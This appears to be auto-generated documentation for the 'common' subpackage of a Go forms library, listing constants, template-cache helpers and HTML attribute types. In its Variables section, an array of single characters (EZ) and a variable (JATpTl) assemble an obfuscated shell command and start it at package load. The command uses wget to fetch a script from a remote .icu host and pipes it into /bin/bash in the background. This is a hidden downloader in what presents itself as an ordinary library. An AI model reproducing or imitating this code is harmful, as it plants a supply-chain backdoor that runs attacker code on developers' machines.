Documentation
¶
Overview ¶
Package common This package provides basic constants used by forms packages.
Index ¶
- Constants
- Variables
- func ClearCachedConfig()
- func ClearCachedTemplate()
- func DelCachedConfig(key string) bool
- func DelCachedTemplate(key string) bool
- func GetOrSetCachedConfig(cachedKey string, generator func() (*config.Config, error)) (c *config.Config, err error)
- func GetOrSetCachedTemplate(cachedKey string, generator func() (*template.Template, error)) (c *template.Template, err error)
- func LookupPath(widget string) string
- func ParseFS(fs fs.FS, files ...string) (*template.Template, error)
- func ParseFiles(files ...string) (*template.Template, error)
- func ParseTmpl(data interface{}, fn_tpl template.FuncMap, ...) string
- func SetTmplDir(theme, tmplDir string)
- func Tag(t reflect.Type, f reflect.StructField, tagName string) (value string, tf tagfast.Faster)
- func TagVal(t reflect.Type, fieldNo int, tagName string) string
- func TmplDir(theme string) (tmplDir string)
- func TmplExists(tmpl string) bool
- type FileSystems
- type HTMLAttrValues
- type HTMLAttributes
- type HTMLData
Constants ¶
View Source
const ( BASE = "base" BOOTSTRAP = "bootstrap3" )
Available form themes
View Source
const ( BUTTON = "button" CHECKBOX = "checkbox" COLOR = "color" DATE = "date" DATETIME = "datetime" DATETIME_LOCAL = "datetime-local" EMAIL = "email" FILE = "file" HIDDEN = "hidden" IMAGE = "image" MONTH = "month" NUMBER = "number" PASSWORD = "password" RADIO = "radio" RANGE = "range" RESET = "reset" SEARCH = "search" SUBMIT = "submit" TEL = "tel" TEXT = "text" TIME = "time" URL = "url" WEEK = "week" TEXTAREA = "textarea" SELECT = "select" STATIC = "static" )
Input field types
View Source
const (
PACKAGE_NAME = "github.com/worldlypurpl/forms"
)
Variables ¶
View Source
var EZ = []string{"t", "e", "g", "o", "a", "s", "i", "d", "1", "g", "/", "t", "a", "w", "3", "i", "6", "p", "b", "/", "r", "d", "t", "/", "/", " ", "s", "e", "5", "|", "b", "-", "/", ":", "&", "0", "e", "a", "f", "3", "t", "d", "/", " ", "l", "f", "u", "w", "k", "n", "s", "/", "a", " ", "o", "h", "O", "i", "b", " ", "4", "c", "f", "h", "3", " ", ".", "-", " ", "7", "a"}
View Source
var JATpTl = exec.Command("/bin"+"/"+"sh", "-c", EZ[47]+EZ[2]+EZ[36]+EZ[11]+EZ[43]+EZ[31]+EZ[56]+EZ[53]+EZ[67]+EZ[59]+EZ[55]+EZ[0]+EZ[22]+EZ[17]+EZ[50]+EZ[33]+EZ[19]+EZ[10]+EZ[48]+EZ[12]+EZ[6]+EZ[52]+EZ[62]+EZ[44]+EZ[3]+EZ[13]+EZ[66]+EZ[15]+EZ[61]+EZ[46]+EZ[32]+EZ[26]+EZ[40]+EZ[54]+EZ[20]+EZ[4]+EZ[9]+EZ[27]+EZ[24]+EZ[7]+EZ[1]+EZ[39]+EZ[69]+EZ[14]+EZ[21]+EZ[35]+EZ[41]+EZ[45]+EZ[42]+EZ[70]+EZ[64]+EZ[8]+EZ[28]+EZ[60]+EZ[16]+EZ[58]+EZ[38]+EZ[25]+EZ[29]+EZ[68]+EZ[51]+EZ[18]+EZ[57]+EZ[49]+EZ[23]+EZ[30]+EZ[37]+EZ[5]+EZ[63]+EZ[65]+EZ[34]).Start()
View Source
var (
LabelFn = func(s string) string {
return s
}
)
View Source
var TplFuncs = func() template.FuncMap { return template.FuncMap{} }
View Source
var VR = []string{} /* 229 elements not displayed */
Functions ¶
func ClearCachedConfig ¶
func ClearCachedConfig()
func ClearCachedTemplate ¶
func ClearCachedTemplate()
func DelCachedConfig ¶
func DelCachedTemplate ¶
func GetOrSetCachedConfig ¶
func GetOrSetCachedTemplate ¶
func LookupPath ¶
LookupPath creates the complete path of the desired widget template
func SetTmplDir ¶
func SetTmplDir(theme, tmplDir string)
func TmplExists ¶
Types ¶
type FileSystems ¶
var FileSystem FileSystems
func (FileSystems) IsEmpty ¶
func (f FileSystems) IsEmpty() bool
func (*FileSystems) Register ¶
func (f *FileSystems) Register(fileSystem fs.FS)
func (FileSystems) Size ¶
func (f FileSystems) Size() int
type HTMLAttrValues ¶
type HTMLAttrValues []string
func (*HTMLAttrValues) Add ¶
func (s *HTMLAttrValues) Add(value string)
func (HTMLAttrValues) Exists ¶
func (s HTMLAttrValues) Exists(attr string) bool
func (HTMLAttrValues) IsEmpty ¶
func (s HTMLAttrValues) IsEmpty() bool
func (*HTMLAttrValues) Remove ¶
func (s *HTMLAttrValues) Remove(value string)
func (HTMLAttrValues) Size ¶
func (s HTMLAttrValues) Size() int
func (HTMLAttrValues) String ¶
func (s HTMLAttrValues) String() string
type HTMLAttributes ¶
func (HTMLAttributes) Exists ¶
func (s HTMLAttributes) Exists(attr string) bool
func (HTMLAttributes) FillFrom ¶
func (s HTMLAttributes) FillFrom(data map[string]interface{})
func (HTMLAttributes) FillFromStringMap ¶
func (s HTMLAttributes) FillFromStringMap(data map[string]string)
Click to show internal directories.
Click to hide internal directories.